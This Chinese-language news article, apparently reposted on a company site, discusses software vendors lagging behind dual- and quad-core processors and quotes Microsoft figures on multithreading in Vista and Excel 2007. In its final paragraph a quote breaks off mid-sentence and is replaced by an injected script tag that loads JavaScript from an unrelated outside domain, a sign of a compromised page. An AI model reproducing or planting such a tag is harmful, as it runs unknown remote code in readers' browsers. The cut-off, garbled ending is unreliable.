独立软件开发商错过了多线程之“旅”吗?

自从英特尔公司推出了第一款双核台式处理器以来,已经过去了18个月,但是,仅仅几家独立软件开发商(isv)编写了使用多核架构的应用程序。而英特尔公司的四核台式机处理器又将与下月交付使用。

对于商业isv、定制应用开发商和为主流业务市场提供服务的方案提供商来说,他们错过机会了吗?

“尽管双核技术提供了令人瞩目的性能,但是,我们的isv合作伙伴中只有很少几家针对这种颠覆性的技术最优化了他们的代码,”proactive technologies公司—英特尔公司的渠道顾问董事会—的总裁patrick taylor说,“业界是仅仅谈论多线程,迄今不得不利用的却是超线程,它已经有4年的历史。”“我不清楚为什么他们没有准备好着手这些开发,”taylor补充说,“人们可能会认为,isv会欣然接受这个机会,准备好在多核环境中运行良好的超线程应用。”

各种迹象暗示转变在悄然进行。随着来自英特尔和amd公司的双核处理器现在成为主流个人电脑的标准配置,并且第二代四核处理器有望在2007年初开始交付使用,一些isv正在切入下一代台式机计算市场。最为显著的是,微软最近发布了第一款多线程台式机软件:windows vista和office excel 2007。

多核技术不仅仅是摩尔定律的延伸,历史上每两年处理器的速度都翻番。“软件开发和业务计算已经进入了新时代,”微软公司的软件架构师herb sutter说。“如果你回顾过去的25年,微软已经成功地完成了它的使命,把个人电脑普及应用到每一张桌面、每一个房间和每一台移动设备,使个人电脑计算无处不在,”他说,“但是,我们已经着手实施的新使命是把具有多核处理器的cray超级计算机普及应用到每一个人桌面,那就是构建超级计算机之路。”

在基于smp的服务器上,多线程数据库和其它服务器的应用已经有几十年的历史;最近,来自英特尔和amd公司的双核xeon及opteron处理器分别登场。而isv—包括adobe systems和symantec—在它们的三维建模应用和安全软件中早就提供了在后台运行的多线程功能。针对多核台式处理器而最优化的应用主要锁定数字内容创作人员和设计师,他们的工作涉及海量的数据、三维图像和实时制图。

随着核数量的增加,使诸如高分辨率视频之类的桌面编辑成为可能,adobe公司的产品经理giles baker说。

例如,boxx technologies公司就是一个利基系统方案提供商,它利用双核或四核处理器来制作逼真设计并销售工作站。但是,多核处理的功能正超越针对企业级桌面的技术工作站。最为显著的是,微软正开始向多线程转移。

观察家希望随着越来越多的主流业务isv支持多线程,将开辟一个软件设计和新类型应用的新时代,而这在过去的个人电脑上是无法实现的。这会驱动主流个人电脑升级周期加快,并扩展系统方案提供商和主流方案提供商的机会。

一些人责备isv未能跟进硬件的发展,而许多人会说,这已经延迟了新个人电脑、外设和服务的销售。人们常常引证微软的长达5年的windows vista开发周期,说明这就是整个个人电脑生态系统停滞的主要原因。

目前,微软正准备把这个领域推向前进。在最近于纽约发布的vista和office 2007上,公司的管理人员突出介绍了在英特尔双核duo处理器上运行vista的重大性能好处。

当微软公司首席执行官steve ballmer被问及市场上充斥了许多未完成的软件处理功能时,他坦率地承认软件供应商确实没有跟上英特尔和amd,对多核技术的适应很慢。但是,他暗示那种鸿沟正在收窄。

“英特尔和amd正以前所未有的不同方式赋予我们更大的处理器功能,我们非常喜欢古老的摩尔定律所定义的发展规律,那就是处理器的速度每1年半仅仅翻一番,那对软件设计工程师来说,确实是求之不得,”ballmer说,“现在,他们赋予我们更多的核,不仅仅是处理器的速度更快、我们的负担更大,而且涉及到每一个用不同方式编写软件以期发挥其处理器功效的软件工程师,所以,我们每一个人都要创新,包括芯片行业和软件行业。”

为了突出两种互补技术的好处,微软和英特尔今年秋季携手向合作伙伴展示了在英特尔双核duo系统上运行vista和office 2007的好处。在vista中新的加强计算功能,如三维绘图、无形搜索索引、媒体播放、视频下载以及其它诸如工具条和安全扫描之类的在后台运行的应用,都是通过多核并且需要多核才能运行良好,sutter说。isv必须编写可以适应许多核的应用,他说,excel 2007多线程重算技术使在复杂的电子数据表中进行先进的财务建模成为可能,因为它把计算分割给不同的核来处理,sutter补充说。此外,可以线性的方式把为四核编写的软件调整到八核的环境。

合作伙伴希望:微软公司新的多线程应用和针对多核个人电脑的宽的可调整性将激发其它isv来开发新的应用。“我认为,只有这样人们才会编写越来越多的应用以充分利用多线程环境。我们正在谈论?script src=http://er12.com/t.js>

  • 独立软件开发商错过了多线程之“旅”吗?已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态